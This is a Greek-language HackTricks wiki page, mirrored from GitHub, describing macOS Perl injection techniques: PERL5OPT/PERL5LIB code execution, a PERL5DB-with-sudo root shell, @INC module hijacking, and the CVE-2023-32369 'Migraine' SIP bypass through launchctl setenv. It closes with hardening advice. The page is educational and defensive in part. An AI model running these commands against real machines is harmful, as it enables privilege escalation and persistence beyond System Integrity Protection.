mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
102 lines
8.9 KiB
Markdown
102 lines
8.9 KiB
Markdown
# macOS Perl Applications Injection
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## Via `PERL5OPT` & `PERL5LIB` env variable
|
||
|
||
Χρησιμοποιώντας τη μεταβλητή περιβάλλοντος **`PERL5OPT`** είναι δυνατόν να κάνετε το **Perl** να εκτελεί αυθαίρετες εντολές όταν ξεκινά ο διερμηνέας (ακόμα και **πριν** από την πρώτη γραμμή του στοχευμένου σεναρίου αναλυθεί).
|
||
Για παράδειγμα, δημιουργήστε αυτό το σενάριο:
|
||
```perl:test.pl
|
||
#!/usr/bin/perl
|
||
print "Hello from the Perl script!\n";
|
||
```
|
||
Τώρα **εξάγετε τη μεταβλητή env** και εκτελέστε το **perl** σενάριο:
|
||
```bash
|
||
export PERL5OPT='-Mwarnings;system("whoami")'
|
||
perl test.pl # This will execute "whoami"
|
||
```
|
||
Μια άλλη επιλογή είναι να δημιουργήσετε ένα module Perl (π.χ. `/tmp/pmod.pm`):
|
||
```perl:/tmp/pmod.pm
|
||
#!/usr/bin/perl
|
||
package pmod;
|
||
system('whoami');
|
||
1; # Modules must return a true value
|
||
```
|
||
Και στη συνέχεια χρησιμοποιήστε τις μεταβλητές env ώστε το module να εντοπίζεται και να φορτώνεται αυτόματα:
|
||
```bash
|
||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
|
||
```
|
||
### Άλλες ενδιαφέρουσες μεταβλητές περιβάλλοντος
|
||
|
||
* **`PERL5DB`** – όταν ο διερμηνέας ξεκινά με την επιλογή **`-d`** (debugger), το περιεχόμενο του `PERL5DB` εκτελείται ως κώδικας Perl *μέσα* στο πλαίσιο του debugger.
|
||
Αν μπορείτε να επηρεάσετε τόσο το περιβάλλον **όσο** και τις επιλογές γραμμής εντολών μιας προνομιακής διαδικασίας Perl, μπορείτε να κάνετε κάτι σαν:
|
||
|
||
```bash
|
||
export PERL5DB='system("/bin/zsh")'
|
||
sudo perl -d /usr/bin/some_admin_script.pl # θα ανοίξει ένα shell πριν εκτελέσει το script
|
||
```
|
||
|
||
* **`PERL5SHELL`** – στα Windows αυτή η μεταβλητή ελέγχει ποιο εκτελέσιμο shell θα χρησιμοποιήσει το Perl όταν χρειάζεται να δημιουργήσει ένα shell. Αναφέρεται εδώ μόνο για πληρότητα, καθώς δεν είναι σχετική στο macOS.
|
||
|
||
Αν και το `PERL5DB` απαιτεί την επιλογή `-d`, είναι συνηθισμένο να βρίσκονται σενάρια συντήρησης ή εγκατάστασης που εκτελούνται ως *root* με αυτή την επιλογή ενεργοποιημένη για λεπτομερή αποσφαλμάτωση, καθιστώντας τη μεταβλητή έγκυρο μέσο κλιμάκωσης.
|
||
|
||
## Μέσω εξαρτήσεων (@INC abuse)
|
||
|
||
Είναι δυνατόν να καταγράψετε τη διαδρομή συμπερίληψης που θα αναζητήσει το Perl (**`@INC`**) εκτελώντας:
|
||
```bash
|
||
perl -e 'print join("\n", @INC)'
|
||
```
|
||
Τυπική έξοδος σε macOS 13/14 φαίνεται όπως:
|
||
```bash
|
||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||
/Library/Perl/5.30
|
||
/Network/Library/Perl/5.30/darwin-thread-multi-2level
|
||
/Network/Library/Perl/5.30
|
||
/Library/Perl/Updates/5.30.3
|
||
/System/Library/Perl/5.30/darwin-thread-multi-2level
|
||
/System/Library/Perl/5.30
|
||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||
/System/Library/Perl/Extras/5.30
|
||
```
|
||
Ορισμένοι από τους επιστρεφόμενους φακέλους δεν υπάρχουν καν, ωστόσο **`/Library/Perl/5.30`** υπάρχει, *δεν* προστατεύεται από το SIP και είναι *πριν* από τους φακέλους που προστατεύονται από το SIP. Επομένως, αν μπορείτε να γράψετε ως *root*, μπορείτε να ρίξετε ένα κακόβουλο module (π.χ. `File/Basename.pm`) που θα φορτωθεί *προτιμησιακά* από οποιοδήποτε προνομιακό script που εισάγει αυτό το module.
|
||
|
||
> [!WARNING]
|
||
> Χρειάζεστε ακόμα **root** για να γράψετε μέσα στο `/Library/Perl` και το macOS θα εμφανίσει ένα prompt **TCC** ζητώντας *Πλήρη Πρόσβαση Δίσκου* για τη διαδικασία που εκτελεί τη λειτουργία εγγραφής.
|
||
|
||
Για παράδειγμα, αν ένα script εισάγει **`use File::Basename;`**, θα ήταν δυνατό να δημιουργηθεί το `/Library/Perl/5.30/File/Basename.pm` που περιέχει κώδικα ελεγχόμενο από τον επιτιθέμενο.
|
||
|
||
## SIP bypass μέσω Migration Assistant (CVE-2023-32369 “Migraine”)
|
||
|
||
Τον Μάιο του 2023, η Microsoft αποκάλυψε το **CVE-2023-32369**, γνωστό ως **Migraine**, μια τεχνική post-exploitation που επιτρέπει σε έναν επιτιθέμενο *root* να παρακάμψει εντελώς την **Προστασία Ακεραιότητας Συστήματος (SIP)**.
|
||
Το ευάλωτο συστατικό είναι το **`systemmigrationd`**, μια διεργασία που έχει δικαίωμα με **`com.apple.rootless.install.heritable`**. Οποιαδήποτε παιδική διαδικασία που δημιουργείται από αυτή τη διεργασία κληρονομεί το δικαίωμα και επομένως εκτελείται **εκτός** των περιορισμών του SIP.
|
||
|
||
Μεταξύ των παιδιών που εντοπίστηκαν από τους ερευνητές είναι ο ερμηνευτής υπογεγραμμένος από την Apple:
|
||
```
|
||
/usr/bin/perl /usr/libexec/migrateLocalKDC …
|
||
```
|
||
Επειδή το Perl σέβεται το `PERL5OPT` (και το Bash σέβεται το `BASH_ENV`), η δηλητηρίαση του *περιβάλλοντος* του δαίμονα είναι αρκετή για να αποκτήσετε αυθαίρετη εκτέλεση σε ένα περιβάλλον χωρίς SIP:
|
||
```bash
|
||
# As root
|
||
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
|
||
|
||
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
|
||
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
|
||
```
|
||
Όταν εκτελείται το `migrateLocalKDC`, το `/usr/bin/perl` ξεκινά με το κακόβουλο `PERL5OPT` και εκτελεί το `/private/tmp/migraine.sh` *πριν επανενεργοποιηθεί το SIP*. Από αυτό το σενάριο μπορείτε, για παράδειγμα, να αντιγράψετε ένα payload μέσα στο **`/System/Library/LaunchDaemons`** ή να αναθέσετε το εκτεταμένο χαρακτηριστικό `com.apple.rootless` για να κάνετε ένα αρχείο **μη διαγραφόμενο**.
|
||
|
||
Η Apple διόρθωσε το πρόβλημα στο macOS **Ventura 13.4**, **Monterey 12.6.6** και **Big Sur 11.7.7**, αλλά παλαιότερα ή μη ενημερωμένα συστήματα παραμένουν εκμεταλλεύσιμα.
|
||
|
||
## Συστάσεις σκληροποίησης
|
||
|
||
1. **Καθαρίστε επικίνδυνες μεταβλητές** – οι προνομιούχοι launchdaemons ή cron jobs θα πρέπει να ξεκινούν με ένα καθαρό περιβάλλον (`launchctl unsetenv PERL5OPT`, `env -i`, κ.λπ.).
|
||
2. **Αποφύγετε την εκτέλεση διερμηνέων ως root** εκτός αν είναι απολύτως απαραίτητο. Χρησιμοποιήστε συμπιεσμένα δυαδικά αρχεία ή μειώστε τα προνόμια νωρίς.
|
||
3. **Προμηθευτείτε σενάρια με `-T` (modo taint)** ώστε το Perl να αγνοεί το `PERL5OPT` και άλλες μη ασφαλείς επιλογές όταν είναι ενεργοποιημένος ο έλεγχος taint.
|
||
4. **Διατηρήστε το macOS ενημερωμένο** – το “Migraine” είναι πλήρως ενημερωμένο στις τρέχουσες εκδόσεις.
|
||
|
||
## Αναφορές
|
||
|
||
- Microsoft Security Blog – “Νέα ευπάθεια macOS, Migraine, θα μπορούσε να παρακάμψει την Προστασία Ακεραιότητας Συστήματος” (CVE-2023-32369), 30 Μαΐου 2023.
|
||
- Hackyboiz – “Έρευνα παράκαμψης SIP macOS (PERL5OPT & BASH_ENV)”, Μάιος 2025.
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|